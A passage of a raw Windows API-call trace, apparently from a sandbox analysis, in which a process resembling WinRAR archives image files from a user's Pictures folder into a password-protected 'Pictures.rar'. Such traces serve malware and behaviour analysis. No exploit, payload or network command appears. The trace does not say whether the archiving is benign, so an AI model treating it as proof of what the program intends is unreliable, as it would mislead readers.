lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.408] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.408] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0064.408] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcc0, Size=0x48) returned 0x28b084f9430 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.408] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9480 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.408] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.408] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f8f80 [0064.408] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f8f80, Size=0x7a) returned 0x28b084ecf80 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0064.408] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0064.408] GetTickCount () returned 0x26037 [0064.408] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15573680198) returned 1 [0064.408] GetTickCount () returned 0x26037 [0064.408] GetTickCount () returned 0x26037 [0064.408] GetTickCount () returned 0x26037 [0064.408] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22fa20) returned 0x0 [0064.408] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fa20, hwnd=0x102be, tbpFlags=2) returned 0x0 [0064.409] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fa20, hwnd=0x102be, ullCompleted=0x775d5, ullTotal=0x2141be) returned 0x0 [0064.409] TaskbarList:IUnknown:Release (This=0x28b0a22fa20) returned 0x0 [0064.409] GetLastError () returned 0x36b7 [0064.409] SetLastError (dwErrCode=0x36b7) [0064.409] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0064.409] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0064.409] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 9%") returned 5 [0064.409] SetWindowTextW (hWnd=0x102de, lpString=" 22%") returned 1 [0064.410] GetLastError () returned 0x0 [0064.410] SetLastError (dwErrCode=0x0) [0064.410] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0064.410] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0064.410] SetWindowTextW (hWnd=0x102da, lpString=" 83%") returned 1 [0064.410] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x16, lParam=0x0) returned 0x9 [0064.411] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.411] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.411] GetFocus () returned 0x102e2 [0064.411] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.412] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.412] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.412] ResetEvent (hEvent=0x344) returned 1 [0064.412] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.413] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.413] ResetEvent (hEvent=0x344) returned 1 [0064.413] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.415] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.415] ResetEvent (hEvent=0x344) returned 1 [0064.415] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.418] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.418] GetTickCount () returned 0x26046 [0064.418] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15574676739) returned 1 [0064.418] GetTickCount () returned 0x26046 [0064.418] GetTickCount () returned 0x26046 [0064.418] GetTickCount () returned 0x26046 [0064.418] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.418] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.418] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.418] ResetEvent (hEvent=0x33c) returned 1 [0064.418] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.419] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.419] ResetEvent (hEvent=0x33c) returned 1 [0064.419] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.420] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.420] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.421] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.421] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x63c76 [0064.421] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x63cda [0064.421] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.421] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.421] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.421] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.421] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x140f0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x140f0, lpOverlapped=0x0) returned 1 [0064.422] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.422] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=408694, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x63c76 [0064.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x63c76 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.422] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f8f80 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.422] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7b0, Size=0x48) returned 0x28b084f9700 [0064.422] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0064.422] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f80 | out: hHeap=0x28b08430000) returned 1 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.422] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.423] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.423] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0064.423] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9980 [0064.423] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9980, Size=0x7a) returned 0x28b084ed910 [0064.423] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed913*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed913*, lpNumberOfBytesWritten=0xf00f8d8070*=0x64, lpOverlapped=0x0) returned 1 [0064.423] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f750 [0064.423] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x64) returned 0x28b08462b10 [0064.423] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0064.423] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0064.423] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x77dca [0064.423] CloseHandle (hObject=0x350) returned 1 [0064.423] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.423] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.423] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.423] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.423] FindFirstFileW (in: lpFileName="awTUht89JcK2K D7j9i.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee910 [0064.423] FindClose (in: hFindFile=0x28b0c0ee910 | out: hFindFile=0x28b0c0ee910) returned 1 [0064.423] CreateFileW (lpFileName="awTUht89JcK2K D7j9i.png" (normalized: "c:\\users\\fd1hvy\\pictures\\awtuht89jck2k d7j9i.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.423] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.423] GetTickCount () returned 0x26046 [0064.424] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.424] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.424] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.424] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.424] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="aHz4Hx-PBeuX.png") returned 16 [0064.424] SetWindowTextW (hWnd=0x102c6, lpString="awTUht89JcK2K D7j9i.png") returned 1 [0064.424] GetTickCount () returned 0x26046 [0064.424] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.424] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.425] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.425] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.425] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x391)) [0064.425] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.425] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15575338188) returned 1 [0064.425] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x8577, lpOverlapped=0x0) returned 1 [0064.425] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7145b7, nNumberOfBytesToRead=0xf7a89, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7145b7*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.425] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.425] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f840 [0064.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f840, Size=0x48) returned 0x28b084f8f80 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6ed0 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9ca0 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6ed0 | out: hHeap=0x28b08430000) returned 1 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f80 | out: hHeap=0x28b08430000) returned 1 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f840 [0064.425] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f840 | out: hHeap=0x28b08430000) returned 1 [0064.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9980 [0064.425] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9980, Size=0x7a) returned 0x28b084ed2e0 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0064.425] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed2e0 | out: hHeap=0x28b08430000) returned 1 [0064.426] GetTickCount () returned 0x26046 [0064.426] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15575424647) returned 1 [0064.426] GetTickCount () returned 0x26046 [0064.426] GetTickCount () returned 0x26046 [0064.426] GetTickCount () returned 0x26046 [0064.426] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.426] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.426] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.426] ResetEvent (hEvent=0x344) returned 1 [0064.426] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.427] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.427] ResetEvent (hEvent=0x344) returned 1 [0064.427] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.428] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.428] GetTickCount () returned 0x26046 [0064.428] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15575707603) returned 1 [0064.428] GetTickCount () returned 0x26046 [0064.429] GetTickCount () returned 0x26046 [0064.429] GetTickCount () returned 0x26046 [0064.429] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.429] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.429] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.429] ResetEvent (hEvent=0x33c) returned 1 [0064.429] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.430] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] ResetEvent (hEvent=0x33c) returned 1 [0064.430] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.430] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.430] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.430] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x77dca [0064.430] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x77e35 [0064.431] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.431] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.431] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.431] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.431] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x85f0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x85f0, lpOverlapped=0x0) returned 1 [0064.432] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.432] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.432] SetFilePointer (in: hFile=0x32c, lDistanceToMove=490954, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x77dca [0064.432] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x77dca [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb10 [0064.433] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb10, Size=0x48) returned 0x28b084f9ca0 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.433] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f9a20 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0064.433] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fae0, Size=0x48) returned 0x28b084f9980 [0064.433] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9980, Size=0x7a) returned 0x28b084ecef0 [0064.433] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecef3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecef3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6b, lpOverlapped=0x0) returned 1 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb10 [0064.433] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6b) returned 0x28b084fbad0 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0064.433] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecef0 | out: hHeap=0x28b08430000) returned 1 [0064.433] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x80425 [0064.433] CloseHandle (hObject=0x350) returned 1 [0064.433] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.433] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.433] GetFocus () returned 0x102e2 [0064.433] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.433] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.433] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, 